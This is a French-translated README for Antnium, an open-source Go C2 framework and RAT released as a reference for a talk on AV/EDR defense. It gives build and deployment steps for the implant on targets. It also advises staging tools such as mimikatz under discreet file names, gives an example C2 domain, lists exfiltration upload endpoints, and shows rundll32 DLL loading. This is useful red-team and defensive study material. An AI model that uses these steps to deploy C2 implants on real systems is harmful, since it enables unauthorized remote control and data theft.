
Un framework C2 pour l'accès initial en Go
Anti Tanium
Un framework C2 et un RAT écrits en Go.
Ce code source est publié publiquement comme référence pour ma présentation Develop your own RAT - AV & EDR Defense. Antnium est destiné à répondre à mes propres besoins, et non à ceux des autres. Il fonctionne pour les campagnes que j'ai menées, mais n'est pas nécessairement destiné à être un framework C2 générique.
Il y a deux composants :
Téléchargez et installez Go (et git).
Nous utilisons 127.0.0.1:8080 comme domaine C2 ici (localhost car nous démarrons à la fois client.exe et server.exe sur le même hôte). C'est également la valeur par défaut, pas besoin de changer quoi que ce soit.
Vérifiez la campagne dans campaign/campaign.go :
serverUrl = "http://127.0.0.1:8080"Compilez-le sous Windows :
> .\makewin.bat deploy
Compilez-le sous Linux :
$ make deploy
Démarrez le serveur et le client :
cd build\
.\server.exe
.\static\client.exe
Accédez à l'interface Web en ouvrant l'URL suivante dans le navigateur après avoir démarré server.exe :
http://localhost:8080/webui/
static/ : Répertoire public pour les outilsPlacez-y les fichiers que vous souhaitez télécharger sur d'autres machines. Comme client.exe, wingman.exe. Et vos outils, comme mimikatz.exe ou seatbelt.exe. Mais utilisez des noms de fichiers plus discrets.
Les fichiers sont également disponibles via l'API /secure demandée avec des noms de fichiers chiffrés, et un fichier chiffré + encodé en base64 en réponse.
Les fichiers dotNet peuvent être exécutés en utilisant l'option d'exécution remote (accessible via /secure).
upload/ : Répertoire privé pour l'exfiltration de donnéesLes fichiers téléversés depuis le client y seront stockés.
Installation de Go :
apt install golang gcc-mingw-w64Compilez client.exe et server.exe :
> .\makewin.bat deploy
Cela créera :
Démarrez server.exe :
> cd build
> .\server.exe
Antnium 0.1
Loaded 0 packets from db.packets.json
Loaded 0 clients from db.clients.json
Periodic DB dump enabled
Starting webserver on 127.0.0.1:8080
Démarrez client.exe :
> .\build\static\client.exe
Antnium 0.1
time="2021-09-02T21:48:16+02:00" level=info msg="UpstreamHttp: Use WS"
time="2021-09-02T21:48:16+02:00" level=info msg="Connecting to WS succeeded"
time="2021-09-02T21:48:16+02:00" level=info msg=Send 1_computerId=c4oil02sdke2sp3nfngg 2_packetId=0 3_downstreamId=client 4_packetType=ping 5_arguments="map[]" 6_response=...
time="2021-09-02T21:48:16+02:00" level=info msg=Send 1_computerId=c4oil02sdke2sp3nfngg 2_packetId=0 3_downstreamId=client 4_packetType=ping 5_arguments="map[]" 6_response=...
Compiler le client Windows depuis Linux fonctionne, mais nécessite un peu de savoir-faire en ligne de commande GO gcc, à cause de certaines dépendances Windows. Si cela ne fonctionne pas immédiatement, compilez le client Windows sous Windows lui-même (makewin.bat client).
pkg/campaign/campaign.go relie un client.exe compilé à un server.exe spécifique, ce qui forme une campagne. Une campagne possède des clés de chiffrement et d'authentification individuelles, partagées entre le serveur et le client.
type Campaign struct {
ApiKey string // Key used to access client facing REST
EncKey []byte // Key used to encrypt packets between server/client
ServerUrl string // URL of the server, as viewed from the clients
}
Et la clé d'interface admin / opérateur dans pkt/server/config.go :
type Config struct {
AdminApiKey string
}
Notez que ServerUrl est l'URL utilisée par le client pour toutes les interactions avec le serveur.
C'est l'URL publique du serveur, par ex. http://totallynotmalware.ch. Le server.exe réel peut être derrière un proxy inverse, et démarré avec server.exe --listenaddr 127.0.0.1:8080 (donc ServerUrl n'est pas nécessairement égal à listenaddr).
Lors de la première connexion au serveur, vous devez d'abord accéder à l'interface et la configurer.
Les fichiers de l'interface Angular sont accessibles publiquement. Supposons ServerUrl="http://localhost:8080" et listenaddr=0.0.0.0:8080. Vous pouvez soit :
http://localhost:8080/webui dans votre navigateurng serve depuis le répertoire antniumui, puis ouvrir http://localhost:4200 dans votre navigateurLors de la connexion à l'interface dans le navigateur, vous devez d'abord configurer l'adresse IP du serveur et son mot de passe :
http://localhost:8080)Testé sur :
Compilez sous Windows :
> .\makewin.bat client
Déployez-le sur votre cible.
Testé sur :
Sous Linux :
$ make server
$ mkdir -p static upload
$ ./server --listenaddr 0.0.0.0:8080
Le résultat est server.exe. Assurez-vous de l'exécuter dans le répertoire où vous avez ou attendez :
Il démarrera un serveur REST sur ce port, fournissant :
/ : REST pour les clients/ws : Websocket pour les clients/admin : REST pour l'interface admin (ajouter un paquet, obtenir les clients)/adminws : Websocket pour l'interface admin (pousser les paquets)/webui : Fichiers HTML pour l'interface admin (source Angular et html, accède à REST et websocket)Placez un proxy inverse devant (assurez-vous qu'il prend en charge les websockets !) ou redirigez les ports.
Pour un proxy manuel, utilisez l'URL HTTP complète :
client.exe -proxy http://proxy:8080
ou via des variables d'environnement :
export PROXY http://localhost:8080
./client
Wingman est essentiellement le Client, mais sans connexion directe au C2. Il peut se connecter à un client existant sur localhost:50000 (assurez-vous qu'il est démarré, si Campaign.AutoStartDownstreams est faux)
Se connecte au port localhost 50000 :
wingman.exe
Ou utilisez rundll32.exe pour charger la dll (la version 64 bits de rundll32 dans system32, pas la version 32 bits dans C:\Windows\SysWOW64\rundll32.exe) :
C:\Windows\System32\rundll32.exe .\wingman.dll,Start
Il apparaîtra comme downstream net#0.
go test ./...
Il peut encore y avoir des conditions de course. Si cela échoue une fois, exécutez-le à nouveau.